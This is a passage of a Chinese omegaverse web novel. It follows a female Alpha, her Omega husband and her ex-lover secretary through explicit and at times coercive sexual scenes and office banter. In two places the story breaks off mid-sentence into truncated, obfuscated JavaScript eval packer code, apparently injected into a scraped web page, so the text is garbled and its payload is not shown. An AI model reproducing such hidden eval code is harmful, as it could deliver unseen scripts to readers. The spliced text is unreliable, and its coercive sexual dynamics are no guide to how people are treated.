直到捣鼓了半天,嗅了嗅满鼻子都是酒味,没有半点男O的信息素的味道,余见抒才恼羞成怒—— 怎么闻着都没味儿,那不就是打了抑制剂? 说什么白开水信息素的事儿,她在那晚之前也忘了。 按理说先前林家也曾经提过,只不过在相亲的时候,余见抒原本就不大上心,全听他哥在那儿跟学弟寒暄,林奚因是个脸皮薄的,估摸着压根就不敢特意提一下信息素的情况。 后来婚前信息素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这多狡猾啊,别家小O和大A们都得像算生理期和排卵期似的,小心翼翼地记录着抑制剂有效期,生怕不留神漏了补打抑制剂的期限,担心抑制贴压不住太多腺液会引起骚动,有碍观瞻。 林奚因这下省心了,他信息素再怎么浓郁,都是淡得要命的水味。 陌生Alpha闻了倒是浑身一凛、精神一振,甲状腺素和多巴胺被调动起来,却觉察不出暧昧,还以为是开加湿器了,所以才没那么燥得慌。 这一刻,同样是在「东湖湾」,趁着昨夜新灌注的临时标记还热乎着,余见抒是驾轻就熟。 她一边啜吸着,那只有她舌尖能品尝到的,一种白水回甜的清冽滋味,一边牙根做痒,将本就红肿的腺体啃得愈发糜烂,仿佛熟透临界点的蜜桃,就差轻轻一嘬,马上快要破皮。 “我记得之前第一次是扣着你做的吧?”余见抒的手里利索两下,上下一游走,“这回你仰着,咱从正面试试?” 尾音上挑,看似是个疑问,实际上根本不需要征求许可,林奚因身上的围裙、衬衫和长裤就不翼而飞了 她把光溜溜的男O从沙发窝里捞了出来,翻得像上了岸敞着白肚皮的肥鲫鱼似的,看他稀里糊涂,面带红晕的迷茫神情,不由感到好笑。 “妻主……” “好了,腿箍紧点儿,抱上来,”余见抒拍了拍他,俯身吻他,在他脸侧耳鬓厮磨的时候轻声说,“……有必要让某些媳夫知道,激你这个妻主例行公事到底有多不靠谱。” 11. 还嫌不够 余见抒睡醒,吃了顿家O亲手做的午饭,又进行了一场激烈的谈判,以及后续的情感深入交流活动。 她没弄两次,林奚因就哭得不行了,跟失禁似的,泪水稀里哗啦流出来,在细瘦的锁骨沟里积满一小湾,偏生还不肯求饶吭声,就在那闷着。 “你这体力才是得多练练,要么就骂我两句,别绷得那么紧,不然一泄气人就脱力了。” 哪有DOI的时候还束手束脚,伸伸缩缩不敢碰伴侣的啊? 余见抒一时败坏了兴致,把死鱼似的男O撂在沙发上,闲嘴碎了两句。 然而她又人在半中不拉腰的,调动起那兴奋劲儿蠢蠢欲动,还嫌不够。 一挠头,余见抒干脆跑三楼打拳去了,等到沙袋的皮膜松脱变形了,才摘了拳套,又去开3min/km的配速跑有氧。 心无旁骛地跑了半个钟,后半截配速降到3分半的时候,她看林奚因端着托盘进来,上边摆了一瓶功能饮料,几张整齐叠好、浸湿后又拧到不滴水程度的干净热毛巾。 余见抒看他额前的碎发还湿着,像是还没来得及吹,降速在跑步机上慢走,随口就问:“你自己洗了?掏干净了没?” 林奚因乍然没料到会从她的嘴里蹦出这么直白又露|骨的问话,愣了愣神,才低头,音量小得跟蚊子嗡鸣似的说:“我想多留一阵子。” “那哪儿行啊?”余见抒不悦地皱眉,随口啧了一声。 她干脆拽着林奚因就往3楼的浴室走,从他手里端了那托盘,随便往架子上一放。 瓶子倒了,叮呤咣啷一阵响,风风火火的脚步声中,还伴随着余见抒骂骂咧咧的话:“你是不是记恨我没给你善后,还搁这伺候人呢?有拧那破毛巾的闲工夫,没时间给你自个儿彻彻底底地洗洗!” 她说话跟突击枪似的,又明显憋着□□没撒气,林奚因抿了抿嘴,被她连拖带拽地提溜着站到花洒底下:“本来就是要留在里面的……” 然而,下一刻,“唰啦”一声,余见抒拧开了屋顶花洒。 冰凉的水流劈头盖脸打下来,浇湿了林奚因才刚穿上的干净衬衣,薄透的衣料下,那些胸膛、肩背肌肤上的齿印和吻痕都掩盖不住了。 “我不喜欢,听见了没?”余见抒用喷头怼他的脸,冲得林奚因睁不开眼睛,“你想要挨老子的操,就得照老子的规矩来,我说什么时候准你留着你才有资格留着,你要是不喜欢自己洗,那就别怪老娘手重了亲自给你洗。” 被林奚因盯着不带套是一回事,要是弄得掏不出来了,那可就太危险了。 她刚才都没敢深了往里注,就是怕林奚因一旦怀上「Alpha见抒」的孩子,男O被子宫栓牢,出轨计划就等同于大泡汤了。 莫名其妙的出轨系统还徘徊在她脑海里,正黏着阴灵不散呢。她可不想一辈子被赛博生物寄居在身体里,无时无刻都在窥探行踪。 “别!”眼见着余见抒手臂一落,滋着喷头往下边怼,林奚因立刻惊惶地握住她,“我,我自己来。” 余见抒瞧他被浇透了的样子,连腹股沟上的布料都黏在了腿根交界的缝隙里,一时手痒又从下往上掌心贴着摸索了进去。 “……” 没曾想,林奚因居然死死摁住了他的衣摆,硬是拦着不让余见抒揭开。两相拉锯之下,可怜的衬衫被拽得七歪八扭,不成形状。 “什么贞洁烈夫?”余见抒不解地纳闷道,“刚才不都还好好的吗?” 一会儿求着让她播种,一会儿又不让碰了?这又出太阳又下雨的,白开水味的男O真是居心叵测、变化多端。 林奚因咬了咬嘴角,难堪地说:“我累了……” “我知道,”余见抒顶天立地的把他摁在瓷砖墙上,唧儿邦邦壮地哄骗他,“那你帮我扒拉弄一下,不就没事儿了?” 她是真难受啊,送走了兰斯没人泻|火,更没钱找新伴儿玩耍。 眼下,要么在「东湖湾」的家里,逮着做两次就歇菜的一只软脚虾薅羊毛,要么去「聿兴」吆喝周秘书,再一睡前任,又不知道能扯出多少麻烦事儿来。 林奚因指尖攥紧了衣料,低声说:“医生说了,妻主不能纵|欲。” 这句话跟个榔头似的,往余见抒脑门上咣当敲了一下。 ““嗐你小子!哎你,我,不是——” 她是一时语塞,又气又笑的,捏紧拳头放下,臂膀上青筋都蹦出来了,却只能乌七八糟使劲挠头,跟乱锅上的蚂蚁似的,站在原地左右来回踱步。 “怎么做之前你就不说禁欲了?”余见抒站定,无奈地笑着看他。 林奚因只好说:“我在医院咨询过,偶尔弄一两次的话,其实算健康排解。” “行行行,反正好话坏话都让你给说遍了,大不了我自己动手开工!” 余见抒气鼓鼓地冲他大喊了一句,双臂一抬先从后脑勺脱下来紧身的固胸背心,再冷不丁想起来,猛地扭头一问:“这你不会也得要跟余见英告状吧?” 林奚因无法忍住将视线从她胸前坦荡饱满的两团上挪开,尤其她一拎起来弹力带,两团富有韧劲的球就蹦跶了下,惹得他愈发脸上发烫,低声说:“如果妻主还是执意要任性,不顾惜自己的身体的话。” 有这一张姓余名见英的金牌律令亮出来,头顶上悬着达摩克利斯之剑,余见抒是有气没地儿撒,她邦邦挺了好半天,这会儿都硬疼了,干脆一埋头冲进淋浴的冷水底下。 “运动暴汗后突然着凉水对身体不好……”林奚因干巴巴地陈述说。 “闭嘴!” 余见抒双腿直立,上身匍匐脸朝地,手臂扒拉着浴室的墙乱扭扭,背对着他,像一只在舞动青春的鲶鱼,接着暴躁地低吼一声:“过来帮我擦背!” 林奚因可算没再一推二拉三拒,这关头终于乖顺得像一头羔羊似的,老老实实替她擦拭,那线条流畅的脊背。 无论什么时候,他目睹她的背影,都会无比痴迷和惊讶于这充沛着生命力的紧致皮肉,继而联想起她在拳击台、在滑雪场、在帆板上海浪间的矫健英姿,几乎像是造物主赐予的杰作一般。 * 余见抒发誓,甭管是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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「聿兴集团」,中心区大楼,总部。 要找她哥当面掰头,着实是一件难事,光临时挤占余总的行程,争取5min的会客时间就够费劲的,上了楼估摸着还得等。 尤其在昨天,她刚感谢过通融的保安,借了罐头员工和保洁阿姨的卡,一路畅通无阻地混进「聿兴」顶层最核心的18楼办公区,被周秘书全线抓捕,连累得上下所有善良的NPC被通报批评。 这下临了黄昏,夕阳西下的,余见抒打车下来,斜着一长条影子,站在门禁闸机外,挨着龇牙抬爪的石狮子,就只能歉意地跟保安寒暄。 人家倒也没多责备她,才高低来回两句话,就给余见抒发了红塔烟。 余见抒百无聊赖地衔了烟,快到嘴边,没点火,这时候遥遥地一往,「聿兴」园区里,一道颇俊的身影从喷泉后步行绕过来。 还是周秘书,还是西装革履,还是熟悉的银丝框眼镜,他长腿一迈,那小黑皮鞋锃亮的,踏步向她走来。 算算时间,从早8点考勤打卡到这会儿傍晚,周秘书已经在岗近10个小时了,他神情稍显疲惫,仪容仪表却依旧很得体,班气没严重到颓丧垮掉的程度,称得上是顶级社畜。 “哎呦,可算下来了,”余见抒闲散地吆喝说,“劳烦您屈尊纡贵地下来接我,今晚几点下班呐?” 「Beta简殊」闭上眼睛,让「Alpha见抒」翻个身把男主压着,拖延时间。 12. 狗鼻子 周秘书不紧不慢低头,严谨地掐了一下手腕上瑞士表,斯文地回答:“正常的话应该是今晚11点,如果没有某个人捣乱的话。” 说罢了,他干脆利落地转身,脚下生风似的,也不顾忌身后的人是否能够跟上,就刷脸门禁闸机,踏进大楼,扫工卡和人脸识别,摁电梯。 得亏是余见抒机灵,一路见缝插针的贴在周姚的屁股后头,近得鼻尖甚至还能闻到一股男士木质调的清香,等钻进18楼总裁办公室专用电梯里,站稳,她才狡黠地坏笑起来。 “看来下来的也不是特别匆忙嘛,”余见抒故意戳破,用手拐子捅了捅他,“为了见我,还珍重地喷了点琥珀香?” “狗鼻子。”周秘书低声嗔斥了她一句,显然是默认的。 他们Beta闻不到AO的信息素,却能喷自己的气味水,每天换着不重样,想什么味就什么味,想怎么香就怎么香。 那些在AO中稀有的檀木、白茶、杜松和佛手柑信息素,这些年早在Beta群体中流行得甚嚣尘上,都快烂大街了。 总归说来,余见抒不挑剔,闻什么都顺鼻子。 她还像搜毒犬似的,鼻尖仔细贴到周姚的衣领口,窸窸窣窣地探着深呼吸。 “电梯里有监控。”周姚等她闻了好一阵,才掩耳盗铃似的,握拳轻咳嗽一声,接着推开女Alpha的脸。 余见抒装出小狗凶起来的样子,龇牙咧嘴地朝周秘书掌心啃了一口。 这女A不以为意地顺势说:“要我说,就我哥那种工作效率和时长,根本就不符合劳动法。反正考勤打卡点都在早8晚5,你也没必要非得跟着他加班啊。” 周秘书先瞥了她一眼,接着回正面朝电梯,眼观鼻鼻观心,正襟站立,言简意赅地吐出来三个字:“我愿意。” “哎呦,啧啧啧。”余见抒阴阳怪气地围着他转圈,唏嘘哀哉地叹呼起来。 百万年薪谁不自愿,年终奖还额外给20万惊喜红包。 1年有12个月,每个月约30天,年薪税后到手120万,月薪平均税后到手10万,日薪就折合月3千+¥。 日薪3千!按每天两眼一睁就去上班,上一天下来就能有3千块钱算—— 哪怕斯巴达卷到8\11\7工作制,在岗时长15小时,扣除午饭1小时、午睡1小时、晚饭1小时这3个小时的休息时间,实际工作12小时,平均时薪都约为3k/12=250¥。 每小时250¥帝国币,每小时60分钟,就是每分钟250/60=4块。 可别小看这每分钟4块钱,「Beta简殊」在盛夏40℃体感高温下露天送外卖,时薪最高平均25¥。 而周秘书,他只需要在刚刚溜达下一趟楼来接她,又听她说几句风凉话的功夫里,就能挣到「Beta简殊」两小时的时薪。 小小的分秒滴答滴答,大大的钞票哗啦哗啦。 更别提带薪拉屎、带薪冲咖啡和带薪给总裁亲妹妹冻结资产账目的那些时候了,余见抒现在穷得叮呤咣啷响,光只是掐着指头想想,都有点羡慕周秘书的二百五。 周秘书:只是呼吸。 周秘书的账户:叮咚!到账XXXX元! 工资还能按照合同定期发,旱涝保收,人生真是易如反掌呢。 “挣这么多钱,也不见你私下接济我一点——”周姚修长的手自然垂落,在靠近她那一侧的裤线边,余见抒把那爪子揪起来扒拉到怀里,掌心包裹着握住他,“伸出圆手!” 周秘书攥着被她合紧的拳头,也没回撤,不如说是危险地正怼着她的下巴,冷飕飕地瞪她:“幼稚!” 余见抒打趣道:“再骂一句我可就要收钱了啊。” 也不知道是家里那位太难缠还是怎么的,她现在这一刻看周秘书这幅横眉竖眼的骄矜样儿,都霎时间觉得眉清目秀了起来。 余见抒把周秘书的拳头伸开,掌心铺平,调转过来朝向周秘书,玩笑道:“二百五!” 时薪250的梗,余某人是没耐心算的,这还是周姚以前跟她在谈的时候,随口说出来的。 她跟他那两年如胶似漆,恨不得24小时黏在一起,只可惜余大总裁正在用人之际,开出了年薪百万的高价,直接把刚毕业的恋爱脑周姚,用金钱浇灌洗成了事业脑周秘书。 余见抒只能壮士断腕,痛恨叹息。 到此刻,她这个梗一脱口而出,周秘书会意,眼眸闪了闪,看样子像还留有清晰的印象。 然而,很显然,分手后的周B并不准备跟她回忆往昔,而是气定神闲地注视她,静了静。 等赚了价值大约1块5左右薪资的小半分钟过去,周秘书才跟窜小钢珠似的,接连不断吐一连串薄情的字眼来。 “滥|交!吃软饭!雌萎!渣A!” 与此同时,电梯早早停驻在18楼打开,周姚连回嘴的余地都不留给她,就立刻抽身进了秘书室。 留了余见抒一个人,目瞪口呆地站在原地。 这下好,她欠他一千了。 收回前言,周Beta哪里是眉清目秀,简直是面目可憎。 * 幸好尴尬没持续太久,一个实习生小姑娘守在前台,见了她,很快就热络地凑上来。 “请问是找余总会面的客人吗?” 毕竟硬件建模摆在这里,余见抒再怎么遭前任周B嫌弃,总归也还是个高挑挺拔、相貌优越的女Alpha的,任何罐头人类见了都会心生好感。 “有提前预约吗?” 这位小Beta昨天就一直偷看她好几眼,只不过躲在角落里,没敢主动凑上来说话。 现在是晚饭用餐的休息时间,前台这儿就只剩战战兢兢的热血新人在场,也只有这种情形之下,她才敢主动过来询问她。 说话的时候,小Beta小脸蛋红扑扑的,上身下意识地有一些前倾,像是跃跃欲试地想靠近她一点。 “算客人吧,没怎么预约,”余见抒没戳破自己的身份,只是随意地回了两句,朝秘书室方向努了努嘴,“你们周秘书今天心情不太好啊?” 哪怕周姚是再怎么毒嘴的性子,这没因没缘由的,他也不至于刚一见面,就在上楼过来的这几分钟的时间里,一股脑晦气了她那么多句。 “唔,”小Beta实习生不明所以,摇了摇头,“我也没有什么机会能跟周总秘说得上话。” “这也正常。” 按照「聿兴」HR招实习生的行情,小姑娘一天的日薪都不够250,还得跟着“自愿”加班,简直惨无人道。 “那是我哪里招他惹他了?这么不客气……” 余见抒同情地拍拍小姑娘的肩膀,倒也不准备再为难人家,只是顺嘴念叨着,纳闷地挠了挠头,准备直接往里边走,大不了去周秘书的工位旁边赖一阵。 “那个!”实习生小姑娘却突然喊住了她。 等余见抒回头,笑眯眯地定定注视她,耐心地等待听她说话,小姑娘才紧张地抱了抱手里的文件板,低头爆语速说:“余总还在开会,估计要等到很晚才会有时间。如果心情不好的话,可以先喝杯奶茶甜一口……我,我去帮您买!” 话音落,一溜烟过去,实习生小姑娘就直奔消防通道,蹭蹭蹭地踩着楼梯冲下去了。 * “这可是在18楼啊,她还是个Beta,两条腿蹬着只下楼梯也得费老劲了。” 等余见抒溜进了总秘办公室,厚着脸皮搬了个凳子,赖在周姚办公桌旁边的时候,她还嘟囔了一句这事儿。 在体验过「Beta简殊」的罐头身体后,余见抒对Beta平庸的身体素质一下子感同身受。 “大学生的便宜你都占。” 周姚的眼睛盯着电脑屏幕,键盘噼里啪啦敲得飞快,在编写联邦与帝国双语的资料公文。 他一边挑刺她,还能一边打得一个错词都没有,甚至连Backspace键都很少用,偶尔接个电话,用语指示言简意赅,一心多用极其强悍。 “哎,是你也占了。” 余见抒才刚从门边接过小姑娘递进来的奶茶袋子,礼貌微笑着表示感谢,等转身踏进来这几步,她连纸吸管都已经拆封插上了。 “嗯——”周秘书甚至都没来得及抬头,就被余见抒弯腰俯身,一口奶茶渡进嘴里。 他不由地闷哼一声,再抬头,发现余见抒正讨好地笑着,还轻快地问:“怎么样?甜吧?” 周秘书叹了口气,只好停下手里的活计,不悦地皱眉道:“我不喜欢喝甜的。” 喝甜的会长胖,糖化会让胶原蛋白变黄,维持不好身材和皮肤,到时候哪里还由得了他在余见抒面前耍性子,估计这女人连看都不会多看他一眼。 不喜欢归不喜欢,被嘴对嘴亲了一口,周姚的语气听上去倒是缓和了不少,至少没那么嫉恶如仇的了。 “我知道,我喜欢喝就行了——”余见抒得意地捧着奶茶,把自己摔进凳子。 凭借多年谙熟的脾性,周秘书等着她娓娓道来,果然听见这女人毫不负责地讲道:“但怎么着也算是你尝过一口的,记得给咱们大学生报销啊。” “余见抒。” 周秘书没好气地念了一声她的名字,多多少少有点无奈,像是不知道拿她怎么办才好。 “哎,听着呢,”余见抒弹起来,把周秘书的椅背转一圈过来,爬他膝盖上扭了扭,坐直了低头朝向他,通融地问,“说吧,你到底哪里心里不舒服,非得往我身上撒气?” “你自己做了什么,你自己心里清楚。”周姚冷飕飕地瞪着她,活像他才是被出轨背叛的正头主夫。 “让我 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“「东湖湾」下午才叫的医生,在你这儿转头就给忘了?”周姚挑眉质疑她道。 余见抒转念一想,神色寻常地说:“哦,可能我晚高峰那会儿堵在路上的时候,他在家里摇了个人过去送药的呗。” 「东湖湾」附近是排了余家的家庭医生24小时待命的,账单开在那儿,花钱供着的医生,理论上就算是鸡毛蒜皮的小毛病,家庭医生都会精心照料。 林奚因被她弄得浑身痕迹斑驳,青青紫紫,唧一管泄亏了,哔一片撞肿了,说轻不轻,说重也挺重,要开点儿跌打损伤、温养消肿的药,都情有可原。 周秘书吃味说:“你俩才刚一做完,他就立刻兴师动众地把人叫过去,不知道是给谁看。” 在周姚的眼里,林奚因这样炫耀,都有点儿耀武扬威的意思在了。 “除了你还能有谁?”余见抒忍俊不禁,噗嗤一声笑开了,“这种破事儿,也只有你会老盯着林奚因的动静,他爱怎么着就怎么着呗。难不成你还想跟宫斗似的,瞅瞅敬事房翻了谁的牌子?” “你承认了。”面对她的嘲笑,周秘书静静地陈述说。 余见抒一愣:“什么?” 周秘书注视她说:“你承认你跟林奚因睡过了。” 周秘书眯眼,逼问道:“我记得你曾经说过,你是有考虑过要跟这个人离婚的。” “周姚,别搞笑了,”余见抒坦然摊手说,“那不都还是我哥和你给我逼成这样的嘛?你都说了我这人爱吃软饭了,就算动过有离婚的念头,现在不也只能掐着鼻子去讨好他吗?” 周秘书一时之间沉默了下来。 余见抒也不乐意冷场,她俯身抱了抱他,柔声哄着说:“好啦,我知道你从当初开始就一直心里有顾虑,怕配不上也养不起我,而我还是这种烂泥扶不上墙的臭德性。咱俩现在这样维持着不也挺好的吗?要偷情就摆正你偷情的位置,别整天搞那些拈风吃醋的……” “谁稀罕你!”周秘书推了她一把,没推开。 可是下一句,这男人平日里锋利的嗓音,在这时刻却微弱到了极点:“……明明跟我做的时候,都从来没有那么激烈过。” “这都哪儿跟哪儿啊!那是他不耐操,还有你瞎想。” 余见抒抹了把脸,又掰扯累了,干脆补了一句:“不过就算想偷,再过一阵也偷不了多久了。” 一纸联姻合同而已,虚假的婚姻关系,就算离了也没什么可惜。 关键是那个出轨系统,她当Alpha哄林奚因就已经被弄得颠三倒四的了,当Beta倒追那岂不是更要迎来地狱模式? 只能寄希望于不是最糟糕的情形,万一林奚因这男O有两幅面孔,对Alpha唯唯诺诺,对Beta重拳出击,那余见抒早晚要被她折腾死。 “让开。” 她说的最后那一句暗含深意,可偏偏周姚只是仰头深深地望了她一眼,察觉到她正在沉思中的神情,于是默契地没有刨根究底。 周秘书偏开头,低声囔囔说:“凑那么近,还死沉死沉的,压得我腿都麻了。” 余见抒坏笑起来,顺着话意调戏他:“那待会儿来换你坐我呗,以前又不是没多坐过……” “叩叩!” 一阵清脆的敲门声响起,随之而来的是她哥。 余见英的相貌儒雅,与余见抒有七八分相似,却不如他妹妹眉眼锋锐,带着Alpha与生俱来的一股子盛气凌人。 他那一副笑面虎的神情令人印象深刻,笑得温和的时候,能够让你不由自主地就交付真心,笑得暗藏玄机的时候,只会让敌对者感到毛骨悚然。 而现在,余见英脸上就是挂着极其完美的微笑,渗着一丝丝的竦然的冷意,发出邀约道:“这么想要坐的话,不如先到我办公室里来坐一坐好不好?”